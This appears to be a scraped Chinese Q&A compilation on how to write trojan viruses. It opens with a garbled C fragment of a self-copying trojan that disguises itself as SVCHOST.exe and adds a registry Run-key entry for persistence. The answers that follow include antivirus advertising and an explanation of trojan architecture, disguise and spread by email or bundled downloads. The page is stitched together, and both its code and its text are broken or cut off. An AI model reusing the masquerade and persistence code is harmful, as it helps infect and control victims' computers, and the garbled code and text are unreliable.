char *files_svchost[SVCHOST_NUM+1]={c:\\windows\\system\\MSMOUSE.DLL,
c:\\windows\\system\\SVCHOST.exe,c:\\windows\\SVCHOST.exe,
c:\\SVCHOST.exe,d:\\SVCHOST.exe,e:\\SVCHOST.exe,SVCHOST.exe};
char *regadd=reg add \HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\ /v SVCHOST /d C:\\Windows\\system\\SVCHOST.exe /f;
int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 ((input=fopen(infile,rb))!=NULL) ((output=fopen
(outfile,wb))!=NULL))
{
while(!feof(input))
{
fread(temp,1,1,input);
fwrite(temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
......
问题八:怎么编辑木马病毒程序 很高兴为您解答:
制作并且传播木马都是违法行为,况且在你制作的时候可能会有人利用这漏洞对你的电脑产生危害,到时候就得不偿失拉
建议下其他腾讯电脑管家,开启所有防护,避免有人利用病毒或是木马来危害新的电脑以及帐号的全全
1、腾讯电脑管家独有的二代反病毒引擎,防护查杀更彻底
2、腾讯电脑管家拥有全球最大的云库平台,能更好的识别诈骗、钓鱼网站
3、腾讯电脑管家独创鹰眼模式,时刻保护您的爱机不受侵害
4、腾讯电脑管家独有的安全等级,您可以时刻查看你爱机的安全状态
5、新增广告过滤功能,有效减轻广告骚扰。
祝楼主祝您工作、生活愉快!!
问题九:病毒的编写是用的什么原理? 在计算机领域中,它是一种基于远程控制的黑客工具,具有隐蔽性和非授权性的特点。
所谓隐蔽性是指木马的设计者为了防止木马被发现,会采用多种手段隐藏木马,这样服务端即使发现感染了木马,由于不能确定其具 *** 置,往往只能望“马”兴叹。
所谓非授权性是指一旦控制端与服务端连接后,控制端将享有服务端的大部分操作权限,包括修改文件,修改注册表,控制鼠标,键盘等等,而这些权力并不是服务端赋予的,而是通过木马程序窃取的。
从木马的发展来看,基本上可以分为两个阶段。
最初网络还处于以UNIX平台为主的时期,木马就产生了,当时的木马程序的功能相对简单,往往是将一段程序嵌入到系统文件中,用跳转指令来执行一些木马的功能,在这个时期木马的设计者和使用者大都是些技术人员,必须具备相当的网络和编程知识。
而后随着WINDOWS平台的日益普及,一些基于图形操作的木马程序出现了,用户界面的改善,使使用者不用懂太多的专业知识就可以熟练的操作木马,相对的木马入侵事件也频繁出现,而且由于这个时期木马的功能已日趋完善,因此对服务端的破坏也更大了。
所以所木马发展到今天,已经无所不用其极,一旦被木马控制,你的电脑将毫无秘密可言。
二、木马原理
[编辑本段]
鉴于木马的巨大危害性,我们将分原理篇,防御与反击篇,资料篇三部分来详细介绍木马,希望大家对特洛伊木马这种攻击手段有一个透彻的了解。
【一、基础知识 】
在介绍木马的原理之前有一些木马构成的基础知识我们要事先加以说明,因为下面有很多地方会提到这些内容。
一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。
(1)硬件部分:建立木马连接所必须的硬件实体。 控制端:对服务端进行远程控制的一方。 服务端:被控制端远程控制的一方。 INTERNET:控制端对服务端进行远程控制,数据传输的网络载体。
(2)软件部分:实现远程控制所必须的软件程序。 控制端程序:控制端用以远程控制服务端的程序。 木马程序:潜入服务端内部,获取其操作权限的程序。 木马配置程序:设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏得更隐蔽的程序。
(3)具体连接部分:通过INTERNET在服务端和控制端之间建立一条木马通道所必须的元素。 控制端IP,服务端IP:即控制端,服务端的网络地址,也是木马进行数据传输的目的地。 控制端端口,木马端口:即控制端,服务端的数据入口,通过这个入口,数据可直达控制端程序或木马 程序。
用木马这种黑客工具进行网络入侵,从过程上看大致可分为六步(具体可见下图),下面我们就按这六步来详细阐述木马的攻击原理。
一.配置木马
一般来说一个设计成熟的木马都有木马配置程序,从具体的配置内容看,主要是为了实现以下两方 面功能:
(1)木马伪装:木马配置程序为了在服务端尽可能的好的隐藏木马,会采用多种伪装手段,如修改图标 ,捆绑文件,定制端口,自我销毁等,我们将在“传播木马”这一节中详细介绍。
(2)信息反馈:木马配置程序将就信息反馈的方式或地址进行设置,如设置信息反馈的邮件地址,IRC号 ,ICO号等等,具体的我们将在“信息反馈”这一节中详细介绍。
【二、传播木马】.
(1)传播方式:
木马的传播方式主要有两种:一种是通过E-MAIL,控制端将木马程序以附件的形式夹在邮件中发送出 去, 收信人只要打开附件系统就会感染木马;另一种是软件下载,一些非正规的网站以提供软件下载为名义, 将木马捆绑在软件安装程序上,下载后,只要一运行这些程序,木马就会自动安装。
(2)伪装方......
问题十:有源代码,怎样编写病毒程序? 您好:
建议您不要编写或使用病毒程序,病毒程序会对您的电脑造成损害的,如果您曾使用过此类不安全的病毒程序的话,为了您电脑的安全,建议您使用腾讯电脑管家对您的电脑进行一下全面的杀毒吧,打开腾讯电脑管家中的杀毒功能选择闪电查杀或者全盘查杀就可以,您可以点击这里下载最新版的腾讯电脑管家:最新版腾讯电脑管家下载
腾讯电脑管家企业平台:zhidao.baidu/c/guanjia/
0条大神的评论